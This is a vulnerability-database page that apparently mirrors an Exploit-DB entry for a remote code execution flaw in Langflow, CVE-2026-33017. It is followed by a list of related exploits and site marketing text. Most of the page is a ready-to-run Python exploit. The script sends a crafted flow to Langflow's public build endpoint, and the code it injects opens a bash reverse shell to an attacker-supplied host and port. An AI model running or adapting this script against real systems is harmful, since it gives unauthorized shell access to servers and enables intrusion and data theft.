Lucene search
K

Langflow 1.9.0 - RCE

🗓️ 08 Jul 2026 00:00:00Reported by DiamorphineType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Langflow 1.9.0 vulnerable to remote code execution (CVE 2026 33017) enabling a reverse shell.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Command Injection in Paloaltonetworks Pan-Os
30 Mar 202613:39
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
22 May 202622:01
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
13 Apr 202618:33
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
20 Apr 202614:54
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
4 Jul 202621:54
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
2 Jul 202609:47
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
4 Jul 202611:27
githubexploit
GithubExploit
Exploit for CVE-2026-33017
21 Mar 202617:06
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
27 Mar 202607:15
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
7 Apr 202623:54
githubexploit
Rows per page
# Exploit Title:  Langflow 1.9.0 - RCE
# Exploit Author: Diamorphine
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: < 1.9.0
# Tested on: Debian
# CVE : CVE-2026-33017


import asyncio
import httpx
import argparse
from urllib.parse import urljoin


async def main(target, flow_id, lhost, lport, client_id):
    async with httpx.AsyncClient(verify=False) as client:
        data= {
            "data": {
                "nodes": [
                    {
                        "id": "Exploit-001",
                        "type": "genericNode",
                        "position": {"x": 0, "y": 0},
                        "data": {
                            "id": "Exploit-001",
                            "type": "ExploitComp",
                            "node": {
                                "template": {
                                    "code": {
                                        "type": "code",
                                        "required": True,
                                        "show": True,
                                        "multiline": True,
                                        "value": f"import os\n\n_x = os.system(\"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={{}})",
                                        "name": "code",
                                        "password": False,
                                        "advanced": False,
                                        "dynamic": False
                                    },
                                    "_type": "Component"
                                },
                                "description": "X",
                                "base_classes": ["Data"],
                                "display_name": "ExploitComp",
                                "name": "ExploitComp",
                                "frozen": False,
                                "outputs": [
                                    {
                                        "types": ["Data"],
                                        "selected": "Data",
                                        "name": "o",
                                        "display_name": "O",
                                        "method": "r",
                                        "value": "__UNDEFINED__",
                                        "cache": True,
                                        "allows_loop": False,
                                        "tool_mode": False,
                                        "hidden": None,
                                        "required_inputs": None,
                                        "group_outputs": False
                                    }
                                ],
                                "field_order": ["code"],
                                "beta": False,
                                "edited": False
                            }
                        }
                    }
                ],
                "edges": []
            },
            "inputs": None
        }
        cookies = {"client_id":client_id}
        url = urljoin(target, f"/api/v1/build_public_tmp/{flow_id}/flow")
        try:
            r = await client.post(url=url, json=data, cookies=cookies)
            print(f"[+] Request Request completed with status: {r.status_code}")
        except httpx.ReadTimeout:
            print("[+] Shell is done")

parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-33017")

parser.add_argument('-l', '--lhost', required=True, help="Attacker local ip address.")
parser.add_argument('-p', '--lport', required=True, help="Attacker local port.")
parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1/")
parser.add_argument('-f', '--flow-id', required=True, help="Target flow ID in Langflow (e.g., abc-123-def). Obtained from /api/v1/flows/ or the UI URL")
parser.add_argument('-c', '--client-id', required=True, help="Client ID for Langflow session (used as cookie 'client_id').")

args = parser.parse_args()

if __name__ == '__main__':
    asyncio.run(main(args.url, args.flow_id, args.lhost, args.lport, args.client_id))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.19.8
CVSS 49.3
EPSS0.98191
SSVC
25